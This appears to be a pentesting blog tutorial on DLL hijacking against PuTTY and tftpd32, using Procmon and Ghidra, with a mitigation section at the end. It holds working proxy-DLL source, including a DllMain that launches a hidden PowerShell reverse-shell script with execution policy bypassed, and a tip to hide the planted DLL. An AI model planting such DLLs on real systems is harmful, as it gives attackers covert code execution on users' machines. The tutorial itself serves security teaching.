Back to Posts

DLL Hijacking

Posted in Pentesting

 Checkout SlayerLabs.com!
Networks Engineered to Exploit.
- Windows/UNIX - Domains/Subnets - Initial/Post/Lateral - Low Cost VPN Ranges -


DLL Hijacking & Ghidra


DLL Hijacking simply executes an external library (dll) a Portable Executable(PE) was not intended to run. Due to DLL search order, one could implant a binary for a vulnerable application to load and execute. This topic isn’t new but what better way to poke around the newly released NSA grade reversing tool Ghidra?

I’ll be covering DLL Hijacking fairly in depth, but here are the basic steps to get an idea.

  1. Using Procmon, open targeted PE and identify DLLs attempting to load from a writable path.
  2. Using Ghidra identify valid entry points of said DLL.
  3. Create DLL with a valid entry point(s) function. Within the function will be your payload.
  4. Rename compiled DLL respectively, and place in writable directory.
  5. Execute the PE and watch the show.

alt text

If you’d like to follow along make sure to install the following:

There are plenty of applications to test DLL hijacking, but these ones are simple and have been documented in a few posts I’ve come across. If there’s need to dive deeper into each example make sure to check out the sources at the bottom. Sysinternals also includes a ton of binaries for more dll hijacking practice if you so desire.


Identify Hijackable DLLs

The goal of this step is to find DLLs that your program is trying to load that it either cannot find, or is loading but you, as a low priv user, have write access to. Think of apps located on C:\, Network Shares, users Desktops, or other common writable directories.

Anything in C:\Windows or C:\Program Files is protected requiring Admin privs and a UAC prompt. On a related topic, UAC can be bypassed, which can be accomplished via DLL hijacking. Be sure to checkout https://github.com/hfiref0x/UACME for an abundance of UAC bypass techniques.

How will we identify the DLLs an executable is trying to load, along with the DLL’s path? Using a Sysinternals tool, Procmon, we can run a PE and watch it try to load up external libraries. PowerSploit also has a few Powershell modules that identify potential hijackable processes and paths, but this post we’ll stick to Procmon.

For the first test case we’ll be using Putty 0.65. By default Putty installs in C:\Program Files (x86) which is safe and protected. In our case we’ll install on the desktop - it’s just a little .exe why not run it from anywhere?

Using Procmon, we’ll first set a few filters to narrow down our results before firing putty up. We want to find DLLs Putty is trying to call from the folder in which it’s loaded(Desktop) but cannot find. This is the first location an application will search for external libraries on Windows Systems. Here’s Microsoft’s Official Guide on DLL search order.

So we have to set filters in Procmon to show DLLs that were NOT FOUND when putty attempted to load them from its home directory. Once the filters are set, run Putty and check your results. Which DLLs are in a writable path?

alt text

We see three DLLs Putty was trying to load but were NOT FOUND. We’ll focus on WINMM.dll. If you remove the filters you’ll see the DLL search order occur, resulting in a valid find of winmm.dll in C:\Windows\SysWOW64\ - this is what we’ll be “hijacking”.

alt text

So why not just create a payload within a dll, rename and just put in the Desktop Putty folder? Because Putty is calling a function within the DLL, and if you don’t have the function in the DLL, Putty will crash/not load properly. The app can’t find the Function in the bogus DLL so it doesn’t know what to do.

Great, so how do we find the function Putty is calling? In comes Ghidra


Finding Entry Points with GHIDRA

Download Ghidra if you haven’t and fire that puppy up! Drag and drop putty.exe into the main window, and let Ghidra start shredding.

alt text

Once complete navigate to the Symbol Tree on the left and expand the Imports Folder. Here you’ll see all of the libraries Putty is importing - one should look familiar: WINMM.DLL. Expanding WINMM.DLL we see the lone entry point function being called: PlaySoundA.

alt text

Take note of the function along with any others in the DLL being called. That’s all you’ll need from Ghidra, just the name of the function. Now it’s time to build our DLL.


DLL Build

Now that we know the entry point function and the library name, we can start building. Keep in mind the function will need to be exported, which will allow Putty to import said function.

Create a new dll project in Visual Studios, and paste the below code into dllmain.cpp - or make some slight alterations and use mingw32 on Linux if you prefer. The payload within the PlaySoundA function will pop calc.

#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
)
{
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
                WinExec("calc", SW_NORMAL);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
}

extern "C" __declspec(dllexport) void PlaySoundA()
{
        WinExec("calc", SW_NORMAL);
}


To test and troubleshoot dll’s use the built-in Windows binary RUNDLL32.exe. It takes two arguments, one as the dll and the other as the function.

In this case, the DLL_PROCESS_ATTACH and the PlaySoundA function are being executed resulting in two calcs popped. If yours looks good we’re ready to bring it all together.

Go Time

Simply move your compiled dll to Putty’s directory and rename it - then execute.

alt text

Great, looks like it all worked. If you wanted to get crafty, you could set the DLL as “hidden” so the average Putty user wouldn’t see the lone DLL, reducing any suspicion.


Multi Entry Point Functions

Similar to above we’ll run Procmon against tftpd32 v3.50. This app isn’t inherently vulnerable, but just a good example of a simple free Windows PE. This time we’ll use a reverse shell as the payload and a DLL with three entry point functions.

After running Procmon, a few dll’s are identified:

alt text

Next, Open Ghidra » Expand Imports » Expand IPHLPAPI.dll and we see 3 functions.

alt text

Next is to create the DLL - but how are multiple entry point functions dealt with? Simply add each exported function like before, instead it’ll be three total. You’ll need to add all of them, otherwise the application will crash.

As for the payload it’ll be a simple Powershell reverse shell, hidden in the tftpd32 directory (shell.ps1).

Here’s an example I used:

#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("start powershell -win hidden -nonI -nopro -ep bypass -File shell.ps1");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

extern "C" __declspec(dllexport) void SendARP()
{
	WinExec("calc", SW_NORMAL);
}

extern "C" __declspec(dllexport) void GetIpNetTable()
{
	WinExec("calc", SW_NORMAL);

}

extern "C" __declspec(dllexport) void  DeleteIpNetEntry()
{
	WinExec("calc", SW_NORMAL);
}


Compile into a DLL, drop it and execute.

alt text


Mitigation

  • It’s best practice to install applications and any external libraries in protected folders such as C:\Program Files or C:\Windows.
  • Avoid running executables directly from network shares. Instead, move them to a locally protected folder.
  • Enabled SafeDllSearchMode. Modern Windows OS’s (Win2012+) have SafeDllSearchMode enabled by default, but this can be check via the registry or GPO:

Reg key: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode

Prior to 2012: Computer Configuration >> Policies >> Windows Settings >> Security Settings >> Local Policies >> Security Options >> MSS: SafeDlSeachlMode

  • Disable loading of remote DLL’s. Is loading remote libraries necessary? Keep in mind any remote SMB traffic is a definite red flag.
  • Application Whitelisting. If not bypassed, this will stop executables and libraries from running outside of predefined directories.

Sources

https://attack.mitre.org/techniques/T1038/

http://www.bluekaizen.org/dll-hijacking-2/

https://pentestlab.blog/2017/03/27/dll-hijacking/

https://astr0baby.wordpress.com/2018/09/08/understanding-how-dll-hijacking-works/

Custom Cyber Ranges >>

https://slayerlabs.com

Read Next

Casino Royale Walkthrough